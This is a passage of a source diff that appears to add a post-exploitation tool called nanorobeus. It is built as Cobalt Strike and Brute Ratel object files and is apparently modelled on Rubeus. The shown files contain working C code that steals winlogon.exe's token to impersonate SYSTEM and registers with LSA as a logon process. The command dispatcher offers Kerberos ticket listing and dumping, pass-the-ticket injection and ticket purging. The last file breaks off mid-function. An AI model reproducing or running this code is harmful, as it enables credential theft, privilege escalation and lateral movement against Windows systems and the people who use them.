     34 + "type": "string",
     35 + "optional": true
     36 + },
     37 + {
     38 + "name": "arg2",
     39 + "desc": "arg2",
     40 + "type": "string",
     41 + "optional": true
     42 + },
     43 + {
     44 + "name": "arg3",
     45 + "desc": "arg3",
     46 + "type": "string",
     47 + "optional": true
     48 + },
     49 + {
     50 + "name": "arg4",
     51 + "desc": "arg4",
     52 + "type": "string",
     53 + "optional": true
     54 + }
     55 + ]
     56 +}
  • ■ ■ ■ ■ ■ ■
    source/base64.c
     1 +/*
     2 + * Copyright (c) 2003 Apple Computer, Inc. All rights reserved.
     3 + *
     4 + * @APPLE_LICENSE_HEADER_START@
     5 + *
     6 + * Copyright (c) 1999-2003 Apple Computer, Inc. All Rights Reserved.
     7 + *
     8 + * This file contains Original Code and/or Modifications of Original Code
     9 + * as defined in and that are subject to the Apple Public Source License
     10 + * Version 2.0 (the 'License'). You may not use this file except in
     11 + * compliance with the License. Please obtain a copy of the License at
     12 + * http://www.opensource.apple.com/apsl/ and read it before using this
     13 + * file.
     14 + *
     15 + * The Original Code and all software distributed under the License are
     16 + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
     17 + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
     18 + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
     19 + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
     20 + * Please see the License for the specific language governing rights and
     21 + * limitations under the License.
     22 + *
     23 + * @APPLE_LICENSE_HEADER_END@
     24 + */
     25 +/* ====================================================================
     26 + * Copyright (c) 1995-1999 The Apache Group. All rights reserved.
     27 + *
     28 + * Redistribution and use in source and binary forms, with or without
     29 + * modification, are permitted provided that the following conditions
     30 + * are met:
     31 + *
     32 + * 1. Redistributions of source code must retain the above copyright
     33 + * notice, this list of conditions and the following disclaimer.
     34 + *
     35 + * 2. Redistributions in binary form must reproduce the above copyright
     36 + * notice, this list of conditions and the following disclaimer in
     37 + * the documentation and/or other materials provided with the
     38 + * distribution.
     39 + *
     40 + * 3. All advertising materials mentioning features or use of this
     41 + * software must display the following acknowledgment:
     42 + * "This product includes software developed by the Apache Group
     43 + * for use in the Apache HTTP server project (http://www.apache.org/)."
     44 + *
     45 + * 4. The names "Apache Server" and "Apache Group" must not be used to
     46 + * endorse or promote products derived from this software without
     47 + * prior written permission. For written permission, please contact
     48 + * [email protected].
     49 + *
     50 + * 5. Products derived from this software may not be called "Apache"
     51 + * nor may "Apache" appear in their names without prior written
     52 + * permission of the Apache Group.
     53 + *
     54 + * 6. Redistributions of any form whatsoever must retain the following
     55 + * acknowledgment:
     56 + * "This product includes software developed by the Apache Group
     57 + * for use in the Apache HTTP server project (http://www.apache.org/)."
     58 + *
     59 + * THIS SOFTWARE IS PROVIDED BY THE APACHE GROUP ``AS IS'' AND ANY
     60 + * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
     61 + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
     62 + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE APACHE GROUP OR
     63 + * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
     64 + * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
     65 + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
     66 + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
     67 + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
     68 + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
     69 + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
     70 + * OF THE POSSIBILITY OF SUCH DAMAGE.
     71 + * ====================================================================
     72 + *
     73 + * This software consists of voluntary contributions made by many
     74 + * individuals on behalf of the Apache Group and was originally based
     75 + * on public domain software written at the National Center for
     76 + * Supercomputing Applications, University of Illinois, Urbana-Champaign.
     77 + * For more information on the Apache Group and the Apache HTTP server
     78 + * project, please see <http://www.apache.org/>.
     79 + *
     80 + */
     81 + 
     82 +/* Base64 encoder/decoder. Originally Apache file ap_base64.c
     83 + */
     84 + 
     85 +#include <string.h>
     86 + 
     87 +#include "base64.h"
     88 + 
     89 +/* aaaack but it's fast and const should make it shared text page. */
     90 +static const unsigned char pr2six[256] = {
     91 + /* ASCII table */
     92 + 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
     93 + 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 62, 64, 64, 64, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61,
     94 + 64, 64, 64, 64, 64, 64, 64, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21,
     95 + 22, 23, 24, 25, 64, 64, 64, 64, 64, 64, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44,
     96 + 45, 46, 47, 48, 49, 50, 51, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
     97 + 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
     98 + 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
     99 + 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64,
     100 + 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64};
     101 + 
     102 +int Base64decode_len(const char* bufcoded) {
     103 + int nbytesdecoded;
     104 + const unsigned char* bufin;
     105 + int nprbytes;
     106 + 
     107 + bufin = (const unsigned char*)bufcoded;
     108 + while (pr2six[*(bufin++)] <= 63)
     109 + ;
     110 + 
     111 + nprbytes = (bufin - (const unsigned char*)bufcoded) - 1;
     112 + nbytesdecoded = ((nprbytes + 3) / 4) * 3;
     113 + 
     114 + return nbytesdecoded + 1;
     115 +}
     116 + 
     117 +int Base64decode(char* bufplain, const char* bufcoded) {
     118 + int nbytesdecoded;
     119 + const unsigned char* bufin;
     120 + unsigned char* bufout;
     121 + int nprbytes;
     122 + 
     123 + bufin = (const unsigned char*)bufcoded;
     124 + while (pr2six[*(bufin++)] <= 63)
     125 + ;
     126 + nprbytes = (bufin - (const unsigned char*)bufcoded) - 1;
     127 + nbytesdecoded = ((nprbytes + 3) / 4) * 3;
     128 + 
     129 + bufout = (unsigned char*)bufplain;
     130 + bufin = (const unsigned char*)bufcoded;
     131 + 
     132 + while (nprbytes > 4) {
     133 + *(bufout++) = (unsigned char)(pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4);
     134 + *(bufout++) = (unsigned char)(pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2);
     135 + *(bufout++) = (unsigned char)(pr2six[bufin[2]] << 6 | pr2six[bufin[3]]);
     136 + bufin += 4;
     137 + nprbytes -= 4;
     138 + }
     139 + 
     140 + /* Note: (nprbytes == 1) would be an error, so just ingore that case */
     141 + if (nprbytes > 1) {
     142 + *(bufout++) = (unsigned char)(pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4);
     143 + }
     144 + if (nprbytes > 2) {
     145 + *(bufout++) = (unsigned char)(pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2);
     146 + }
     147 + if (nprbytes > 3) {
     148 + *(bufout++) = (unsigned char)(pr2six[bufin[2]] << 6 | pr2six[bufin[3]]);
     149 + }
     150 + 
     151 + *(bufout++) = '\0';
     152 + nbytesdecoded -= (4 - nprbytes) & 3;
     153 + return nbytesdecoded;
     154 +}
     155 + 
     156 +static const char basis_64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
     157 + 
     158 +int Base64encode_len(int len) { return ((len + 2) / 3 * 4) + 1; }
     159 + 
     160 +int Base64encode(char* encoded, const char* string, int len) {
     161 + int i;
     162 + char* p;
     163 + 
     164 + p = encoded;
     165 + for (i = 0; i < len - 2; i += 3) {
     166 + *p++ = basis_64[(string[i] >> 2) & 0x3F];
     167 + *p++ = basis_64[((string[i] & 0x3) << 4) | ((int)(string[i + 1] & 0xF0) >> 4)];
     168 + *p++ = basis_64[((string[i + 1] & 0xF) << 2) | ((int)(string[i + 2] & 0xC0) >> 6)];
     169 + *p++ = basis_64[string[i + 2] & 0x3F];
     170 + }
     171 + if (i < len) {
     172 + *p++ = basis_64[(string[i] >> 2) & 0x3F];
     173 + if (i == (len - 1)) {
     174 + *p++ = basis_64[((string[i] & 0x3) << 4)];
     175 + *p++ = '=';
     176 + } else {
     177 + *p++ = basis_64[((string[i] & 0x3) << 4) | ((int)(string[i + 1] & 0xF0) >> 4)];
     178 + *p++ = basis_64[((string[i + 1] & 0xF) << 2)];
     179 + }
     180 + *p++ = '=';
     181 + }
     182 + 
     183 + *p++ = '\0';
     184 + return p - encoded;
     185 +}
     186 + 
  • ■ ■ ■ ■ ■ ■
    source/common.c
     1 +#include "common.h"
     2 + 
     3 +HANDLE GetCurrentToken(DWORD DesiredAccess) {
     4 + HANDLE hCurrentToken = NULL;
     5 + if (!ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), DesiredAccess, FALSE, &hCurrentToken)) {
     6 + if (hCurrentToken == NULL && KERNEL32$GetLastError() == ERROR_NO_TOKEN) {
     7 + if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), DesiredAccess, &hCurrentToken)) {
     8 + return NULL;
     9 + }
     10 + }
     11 + }
     12 + return hCurrentToken;
     13 +}
     14 + 
     15 +char* GetEncryptionTypeString(LONG encType) {
     16 + char* encTypeStr = NULL;
     17 + switch (encType) {
     18 + case DES_CBC_CRC:
     19 + encTypeStr = "DES_CBC_CRC";
     20 + break;
     21 + case DES_CBC_MD4:
     22 + encTypeStr = "DES_CBC_MD4";
     23 + break;
     24 + case DES_CBC_MD5:
     25 + encTypeStr = "DES_CBC_MD5";
     26 + break;
     27 + case DES3_CBC_MD5:
     28 + encTypeStr = "DES3_CBC_MD5";
     29 + break;
     30 + case DES3_CBC_SHA1:
     31 + encTypeStr = "DES3_CBC_SHA1";
     32 + break;
     33 + case DSAWITHSHA1_CMSOID:
     34 + encTypeStr = "DSAWITHSHA1_CMSOID";
     35 + break;
     36 + case MD5WITHRSAENCRYPTION_CMSOID:
     37 + encTypeStr = "MD5WITHRSAENCRYPTION_CMSOID";
     38 + break;
     39 + case SHA1WITHRSAENCRYPTION_CMSOID:
     40 + encTypeStr = "SHA1WITHRSAENCRYPTION_CMSOID";
     41 + break;
     42 + case RC2CBC_ENVOID:
     43 + encTypeStr = "RC2CBC_ENVOID";
     44 + break;
     45 + case RSAENCRYPTION_ENVOID:
     46 + encTypeStr = "RSAENCRYPTION_ENVOID";
     47 + break;
     48 + case RSAES_OAEP_ENV_OID:
     49 + encTypeStr = "RSAES_OAEP_ENV_OID";
     50 + break;
     51 + case DES3_CBC_SHA1_KD:
     52 + encTypeStr = "DES3_CBC_SHA1_KD";
     53 + break;
     54 + case AES128_CTS_HMAC_SHA1:
     55 + encTypeStr = "AES128_CTS_HMAC_SHA1";
     56 + break;
     57 + case AES256_CTS_HMAC_SHA1:
     58 + encTypeStr = "AES256_CTS_HMAC_SHA1";
     59 + break;
     60 + case RC4_HMAC:
     61 + encTypeStr = "RC4_HMAC";
     62 + break;
     63 + case RC4_HMAC_EXP:
     64 + encTypeStr = "RC4_HMAC_EXP";
     65 + break;
     66 + case SUBKEY_KEYMATERIAL:
     67 + encTypeStr = "SUBKEY_KEYMATERIAL";
     68 + break;
     69 + case OLD_EXP:
     70 + encTypeStr = "OLD_EXP";
     71 + break;
     72 + default:
     73 + encTypeStr = "<unknown>";
     74 + break;
     75 + }
     76 + return encTypeStr;
     77 +}
     78 + 
     79 +SYSTEMTIME ConvertToSystemtime(LARGE_INTEGER li) {
     80 + FILETIME ft;
     81 + SYSTEMTIME st_utc;
     82 + ft.dwHighDateTime = li.HighPart;
     83 + ft.dwLowDateTime = li.LowPart;
     84 + KERNEL32$FileTimeToSystemTime(&ft, &st_utc);
     85 + return st_utc;
     86 +}
     87 + 
     88 +BOOL IsHighIntegrity(HANDLE TokenHandle) {
     89 + TOKEN_ELEVATION elevation;
     90 + DWORD dwSize;
     91 + 
     92 + if (ADVAPI32$GetTokenInformation(TokenHandle, TokenElevation, &elevation, sizeof(elevation), &dwSize)) {
     93 + return elevation.TokenIsElevated;
     94 + }
     95 + return FALSE;
     96 +}
     97 + 
     98 +BOOL IsSystem(HANDLE TokenHandle) {
     99 + HANDLE hToken = NULL;
     100 + UCHAR bTokenUser[sizeof(TOKEN_USER) + 8 + 4 * SID_MAX_SUB_AUTHORITIES];
     101 + PTOKEN_USER pTokenUser = (PTOKEN_USER)bTokenUser;
     102 + ULONG cbTokenUser;
     103 + SID_IDENTIFIER_AUTHORITY siaNT = SECURITY_NT_AUTHORITY;
     104 + PSID pSystemSid;
     105 + BOOL bSystem;
     106 + 
     107 + if (!ADVAPI32$GetTokenInformation(hToken, TokenUser, pTokenUser, sizeof(bTokenUser), &cbTokenUser)) {
     108 + return FALSE;
     109 + }
     110 + 
     111 + if (!ADVAPI32$AllocateAndInitializeSid(&siaNT, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid))
     112 + return FALSE;
     113 + 
     114 + bSystem = ADVAPI32$EqualSid(pTokenUser->User.Sid, pSystemSid);
     115 + ADVAPI32$FreeSid(pSystemSid);
     116 + return bSystem;
     117 +}
     118 + 
     119 +NTSTATUS GetLsaHandle(HANDLE hToken, BOOL highIntegrity, HANDLE* hLsa) {
     120 + HANDLE hLsaLocal;
     121 + LSA_OPERATIONAL_MODE mode = 0;
     122 + NTSTATUS status = STATUS_SUCCESS;
     123 + if (!highIntegrity) {
     124 + status = SECUR32$LsaConnectUntrusted(&hLsaLocal);
     125 + if (!NT_SUCCESS(status)) {
     126 + status = ADVAPI32$LsaNtStatusToWinError(status);
     127 + }
     128 + } else {
     129 + // AuditPol.exe /set /subcategory:"Security System Extension"
     130 + // /success:enable /failure:enable Event ID 4611 Note: detect elevation via
     131 + // winlogon.exe.
     132 + char* name = "Winlogon";
     133 + STRING lsaString = (STRING){.Length = 8, .MaximumLength = 9, .Buffer = name};
     134 + SECUR32$LsaRegisterLogonProcess(&lsaString, &hLsaLocal, &mode);
     135 + if (hLsaLocal == NULL) {
     136 + if (IsSystem(hToken)) {
     137 + status = SECUR32$LsaRegisterLogonProcess(&lsaString, &hLsaLocal, &mode);
     138 + if (!NT_SUCCESS(status)) {
     139 + status = ADVAPI32$LsaNtStatusToWinError(status);
     140 + }
     141 + } else {
     142 + hToken = GetCurrentToken(TOKEN_ADJUST_PRIVILEGES);
     143 + if (hToken != NULL) {
     144 + if (ElevateToSystem()) {
     145 + status = SECUR32$LsaRegisterLogonProcess(&lsaString, &hLsaLocal, &mode);
     146 + if (!NT_SUCCESS(status)) {
     147 + status = ADVAPI32$LsaNtStatusToWinError(status);
     148 + }
     149 + ADVAPI32$RevertToSelf();
     150 + } else {
     151 + status = KERNEL32$GetLastError();
     152 + }
     153 + KERNEL32$CloseHandle(hToken);
     154 + } else {
     155 + status = KERNEL32$GetLastError();
     156 + }
     157 + }
     158 + }
     159 + }
     160 + 
     161 + *hLsa = hLsaLocal;
     162 + return status;
     163 +}
     164 + 
     165 +int GetProcessIdByName(WCHAR* processName) {
     166 + HANDLE hProcessSnap;
     167 + PROCESSENTRY32W pe32;
     168 + int pid = -1;
     169 + 
     170 + hProcessSnap = KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
     171 + if (hProcessSnap == INVALID_HANDLE_VALUE) {
     172 + return pid;
     173 + }
     174 + 
     175 + pe32.dwSize = sizeof(PROCESSENTRY32W);
     176 + if (!KERNEL32$Process32FirstW(hProcessSnap, &pe32)) {
     177 + KERNEL32$CloseHandle(hProcessSnap);
     178 + return pid;
     179 + }
     180 + 
     181 + do {
     182 + WCHAR* procName = pe32.szExeFile;
     183 + if (MSVCRT$wcscmp(procName, processName) == 0) {
     184 + pid = pe32.th32ProcessID;
     185 + break;
     186 + }
     187 + 
     188 + } while (KERNEL32$Process32NextW(hProcessSnap, &pe32));
     189 + KERNEL32$CloseHandle(hProcessSnap);
     190 + return pid;
     191 +}
     192 + 
     193 +BOOL ElevateToSystem() {
     194 + int pid = GetProcessIdByName(L"winlogon.exe");
     195 + if (pid == -1) {
     196 + return FALSE;
     197 + }
     198 + BOOL res = FALSE;
     199 + HANDLE hProcess = KERNEL32$OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
     200 + if (hProcess != NULL) {
     201 + HANDLE hDupToken;
     202 + HANDLE hToken;
     203 + if (ADVAPI32$OpenProcessToken(hProcess, TOKEN_DUPLICATE, &hToken)) {
     204 + if (hToken != NULL) {
     205 + if (ADVAPI32$DuplicateToken(hToken, SecurityImpersonation, &hDupToken)) {
     206 + if (ADVAPI32$ImpersonateLoggedOnUser(hDupToken)) {
     207 + res = TRUE;
     208 + }
     209 + KERNEL32$CloseHandle(hDupToken);
     210 + }
     211 + KERNEL32$CloseHandle(hToken);
     212 + }
     213 + }
     214 + 
     215 + KERNEL32$CloseHandle(hProcess);
     216 + }
     217 + return res;
     218 +}
     219 + 
     220 +// BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL
     221 +// bEnablePrivilege)
     222 +// {
     223 +// TOKEN_PRIVILEGES tp;
     224 +// LUID luid;
     225 + 
     226 +// if (!ADVAPI32$LookupPrivilegeValueA(NULL, lpszPrivilege, &luid))
     227 +// {
     228 +// return FALSE;
     229 +// }
     230 + 
     231 +// tp.PrivilegeCount = 1;
     232 +// tp.Privileges[0].Luid = luid;
     233 +// if (bEnablePrivilege)
     234 +// {
     235 +// tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
     236 +// }
     237 +// else
     238 +// {
     239 +// tp.Privileges[0].Attributes = 0;
     240 +// }
     241 + 
     242 +// if (!ADVAPI32$AdjustTokenPrivileges(hToken, FALSE, &tp,
     243 +// sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
     244 +// {
     245 +// return FALSE;
     246 +// }
     247 + 
     248 +// if (KERNEL32$GetLastError() == ERROR_NOT_ALL_ASSIGNED)
     249 +// {
     250 +// return FALSE;
     251 +// }
     252 + 
     253 +// return TRUE;
     254 +// }
     255 + 
     256 +char* GetNarrowStringFromUnicode(UNICODE_STRING src) {
     257 + int len = src.Length / sizeof(WCHAR);
     258 + char* dest = (char*)MSVCRT$calloc(len + 1, sizeof(char));
     259 + MSVCRT$wcstombs(dest, src.Buffer, len);
     260 + dest[len] = '\0';
     261 + return dest;
     262 +}
     263 + 
     264 +char* GetNarrowString(WCHAR* src) {
     265 + int len = MSVCRT$wcslen(src);
     266 + char* dest = (char*)MSVCRT$calloc(len + 1, sizeof(char));
     267 + MSVCRT$wcstombs(dest, src, len);
     268 + dest[len] = '\0';
     269 + return dest;
     270 +}
  • ■ ■ ■ ■ ■ ■
    source/entry.c
     1 +#include <windows.h>
     2 +#include <stdio.h>
     3 +#include "beacon.h"
     4 +#include "bofdefs.h"
     5 + 
     6 +#if defined(BOF) || defined(BRC4)
     7 +#include "common.c"
     8 +#include "luid.c"
     9 +#include "sessions.c"
     10 +#include "purge.c"
     11 +#include "klist.c"
     12 +#include "base64.c"
     13 +#include "ptt.c"
     14 +#else
     15 +#include "common.h"
     16 +#include "luid.h"
     17 +#include "sessions.h"
     18 +#include "purge.h"
     19 +#include "klist.h"
     20 +#include "base64.h"
     21 +#include "ptt.h"
     22 +#endif
     23 + 
     24 +void execute(WCHAR** dispatch, char* command, char* arg1, char* arg2, char* arg3, char* arg4);
     25 + 
     26 +#ifdef BOF
     27 + 
     28 +void go(char* args, int length) {
     29 + datap parser;
     30 + BeaconDataParse(&parser, args, length);
     31 + char* command = BeaconDataExtract(&parser, NULL);
     32 + if (command == NULL) {
     33 + command = "";
     34 + }
     35 + char* arg1 = BeaconDataExtract(&parser, NULL);
     36 + if (arg1 == NULL) {
     37 + arg1 = "";
     38 + }
     39 + char* arg2 = BeaconDataExtract(&parser, NULL);
     40 + if (arg2 == NULL) {
     41 + arg2 = "";
     42 + }
     43 + char* arg3 = BeaconDataExtract(&parser, NULL);
     44 + if (arg3 == NULL) {
     45 + arg3 = "";
     46 + }
     47 + char* arg4 = BeaconDataExtract(&parser, NULL);
     48 + if (arg4 == NULL) {
     49 + arg4 = "";
     50 + }
     51 + execute(NULL, command, arg1, arg2, arg3, arg4);
     52 +}
     53 + 
     54 +#elif BRC4
     55 + 
     56 +void coffee(char** argv, int argc, WCHAR** dispatch) {
     57 + char *command = "", *arg1 = "", *arg2 = "", *arg3 = "", *arg4 = "";
     58 + if (argc >= 1) {
     59 + command = argv[0];
     60 + }
     61 + if (argc >= 2) {
     62 + arg1 = argv[1];
     63 + }
     64 + if (argc >= 3) {
     65 + arg2 = argv[2];
     66 + }
     67 + if (argc >= 4) {
     68 + arg3 = argv[3];
     69 + }
     70 + if (argc >= 5) {
     71 + arg4 = argv[4];
     72 + }
     73 + execute(dispatch, command, arg1, arg2, arg3, arg4);
     74 +}
     75 + 
     76 +#else
     77 + 
     78 +int main(int argc, char* argv[]) {
     79 + char *command = "", *arg1 = "", *arg2 = "", *arg3 = "", *arg4 = "";
     80 + if (argc >= 2) {
     81 + command = argv[1];
     82 + }
     83 + if (argc >= 3) {
     84 + arg1 = argv[2];
     85 + }
     86 + if (argc >= 4) {
     87 + arg2 = argv[3];
     88 + }
     89 + if (argc >= 5) {
     90 + arg3 = argv[4];
     91 + }
     92 + if (argc >= 6) {
     93 + arg4 = argv[5];
     94 + }
     95 + execute(NULL, command, arg1, arg2, arg3, arg4);
     96 + return 0;
     97 +}
     98 + 
     99 +#endif
     100 + 
     101 +void execute(WCHAR** dispatch, char* command, char* arg1, char* arg2, char* arg3, char* arg4) {
     102 + if (MSVCRT$strcmp(command, "") == 0) {
     103 + PRINT(dispatch, "[!] Specify command.\n");
     104 + return;
     105 + }
     106 + 
     107 + LUID luid = (LUID){.HighPart = 0, .LowPart = 0};
     108 + BOOL currentLuid = FALSE;
     109 + HANDLE hToken = GetCurrentToken(TOKEN_QUERY);
     110 + if (hToken == NULL) {
     111 + PRINT(dispatch, "[!] Unable to query current token: %ld\n", KERNEL32$GetLastError());
     112 + return;
     113 + }
     114 + 
     115 + if (MSVCRT$strcmp(command, "luid") == 0) {
     116 + execute_luid(dispatch, hToken);
     117 + } else if ((MSVCRT$strcmp(command, "sessions") == 0) || (MSVCRT$strcmp(command, "klist") == 0) ||
     118 + (MSVCRT$strcmp(command, "dump") == 0)) {
     119 + if (MSVCRT$strcmp(arg1, "") != 0) {
     120 + if (MSVCRT$strcmp(arg1, "/luid") == 0) {
     121 + if (arg2 != NULL) {
     122 + luid.LowPart = MSVCRT$strtol(arg2, NULL, 16);
     123 + if (luid.LowPart == 0 || luid.LowPart == LONG_MAX || luid.LowPart == LONG_MIN) {
     124 + PRINT(dispatch, "[!] Specify valid /luid\n");
     125 + return;
     126 + }
     127 + } else {
     128 + PRINT(dispatch, "[!] Specify /luid argument\n");
     129 + return;
     130 + }
     131 + } else if (MSVCRT$strcmp(arg1, "/all") == 0) {
     132 + luid = (LUID){.HighPart = 0, .LowPart = 0};
     133 + } else {
     134 + PRINT(dispatch, "[!] Unknown command\n");
     135 + return;
     136 + }
     137 + } else {
     138 + LUID* cLuid = GetCurrentLUID(hToken);
     139 + if (cLuid == NULL) {
     140 + PRINT(dispatch, "[!] Unable to get current session LUID: %ld\n", KERNEL32$GetLastError());
     141 + return;
     142 + }
     143 + luid = *cLuid;
     144 + currentLuid = TRUE;
     145 + }
     146 + 
     147 + if (MSVCRT$strcmp(command, "sessions") == 0) {
     148 + execute_sessions(dispatch, hToken, luid, currentLuid);
     149 + } else if (MSVCRT$strcmp(command, "klist") == 0) {
     150 + execute_klist(dispatch, hToken, luid, currentLuid, FALSE);
     151 + } else {
     152 + execute_klist(dispatch, hToken, luid, currentLuid, TRUE);
     153 + }
     154 + } else if (MSVCRT$strcmp(command, "ptt") == 0) {
     155 + char* ticket;
     156 + if (MSVCRT$strcmp(arg1, "") != 0) {
     157 + ticket = arg1;
     158 + if (MSVCRT$strcmp(arg2, "") != 0) {
     159 + if (MSVCRT$strcmp(arg2, "/luid") == 0) {
     160 + if (MSVCRT$strcmp(arg3, "") != 0) {
     161 + luid.LowPart = MSVCRT$strtol(arg3, NULL, 16);
     162 + if (luid.LowPart == 0 || luid.LowPart == LONG_MAX || luid.LowPart == LONG_MIN) {
     163 + PRINT(dispatch, "[!] Specify valid /luid\n");
     164 + return;
     165 + }
     166 + }
     167 + }
     168 + } else {
     169 + LUID* cLuid = GetCurrentLUID(hToken);
     170 + if (cLuid == NULL) {
     171 + PRINT(dispatch, "[!] Unable to get current session LUID: %ld\n", KERNEL32$GetLastError());
     172 + return;
     173 + }
     174 + luid = *cLuid;
     175 + currentLuid = TRUE;
     176 + }
     177 + execute_ptt(dispatch, hToken, ticket, luid, currentLuid);
     178 + } else {
     179 + PRINT(dispatch, "[!] Specify Base64 encoded ticket\n");
     180 + return;
     181 + }
     182 + } else if (MSVCRT$strcmp(command, "purge") == 0) {
     183 + if (MSVCRT$strcmp(arg1, "") != 0) {
     184 + if (MSVCRT$strcmp(arg1, "/luid") == 0) {
     185 + if (MSVCRT$strcmp(arg2, "") != 0) {
     186 + luid.LowPart = MSVCRT$strtol(arg2, NULL, 16);
     187 + if (luid.LowPart == 0 || luid.LowPart == LONG_MAX || luid.LowPart == LONG_MIN) {
     188 + PRINT(dispatch, "[!] Specify valid /luid\n");
     189 + return;
     190 + }
     191 + } else {
     192 + PRINT(dispatch, "[!] Specify /luid argument\n");
     193 + return;
     194 + }
     195 + } else {
     196 + PRINT(dispatch, "[!] Unknown command\n");
     197 + return;
     198 + }
     199 + } else {
     200 + LUID* cLuid = GetCurrentLUID(hToken);
     201 + if (cLuid == NULL) {
     202 + PRINT(dispatch, "[!] Unable to get current session LUID: %ld\n", KERNEL32$GetLastError());
     203 + return;
     204 + }
     205 + luid = *cLuid;
     206 + currentLuid = TRUE;
     207 + }
     208 + execute_purge(dispatch, hToken, luid, currentLuid);
     209 + } else if (MSVCRT$strcmp(command, "help") == 0) {
     210 + PRINT(dispatch, "[*] nanorobeus 0.0.1\n[*] Command list:\n");
     211 + PRINT(dispatch, "\tluid\n");
     212 + PRINT(dispatch, "\tsessions [/luid <0x0> | /all]\n");
     213 + PRINT(dispatch, "\tklist [/luid <0x0> | /all]\n");
     214 + PRINT(dispatch, "\tdump [/luid <0x0> | /all]\n");
     215 + PRINT(dispatch, "\tptt <BASE64> [/luid <0x0>]\n");
     216 + PRINT(dispatch, "\tpurge [/luid <0x0>]\n");
     217 + } else {
     218 + PRINT(dispatch, "[!] Unknown command.\n");
     219 + }
     220 + KERNEL32$CloseHandle(hToken);
     221 +}
     222 + 
  • ■ ■ ■ ■ ■ ■
    source/klist.c
     1 +#include "klist.h"
     2 + 
     3 +void execute_klist(WCHAR** dispatch, HANDLE hToken, LUID luid, BOOL currentLuid, BOOL dump) {
     4 + BOOL highIntegrity = IsHighIntegrity(hToken);
     5 + if (!highIntegrity && !currentLuid) {
     6 + PRINT(dispatch, "[!] Not in high integrity.\n");
     7 + return;
     8 + }
     9 + HANDLE hLsa;
     10 + NTSTATUS status = GetLsaHandle(hToken, highIntegrity, &hLsa);
     11 + if (!NT_SUCCESS(status)) {
     12 + PRINT(dispatch, "[!] GetLsaHandle %ld\n", status);
     13 + return;
     14 + }
     15 + ULONG authPackage;
     16 + LSA_STRING krbAuth = {.Buffer = "kerberos", .Length = 8, .MaximumLength = 9};
     17 + status = SECUR32$LsaLookupAuthenticationPackage(hLsa, &krbAuth, &authPackage);
     18 + if (!NT_SUCCESS(status)) {
     19 + PRINT(dispatch, "[!] LsaLookupAuthenticationPackage %ld\n", ADVAPI32$LsaNtStatusToWinError(status));
     20 + SECUR32$LsaDeregisterLogonProcess(hLsa);
     21 + return;
     22 + }
     23 + LOGON_SESSION_DATA sessionData;
     24 + status = GetLogonSessionData(luid, &sessionData);
     25 + if (!NT_SUCCESS(status)) {
     26 + PRINT(dispatch, "[!] GetLogonSessionData: %ld", status);
     27 + SECUR32$LsaDeregisterLogonProcess(hLsa);
     28 + return;
     29 + }
     30 + KERB_QUERY_TKT_CACHE_REQUEST cacheRequest;
     31 + cacheRequest.MessageType = KerbQueryTicketCacheExMessage;
     32 + for (int i = 0; i < sessionData.sessionCount; i++) {
     33 + if (sessionData.sessionData[i] == NULL) {
     34 + continue;
     35 + }
     36 + PrintLogonSessionData(dispatch, (*sessionData.sessionData[i]));
     37 + PRINT(dispatch, "\n");
     38 + if (highIntegrity) {
     39 + cacheRequest.LogonId = sessionData.sessionData[i]->LogonId;
     40 + } else {
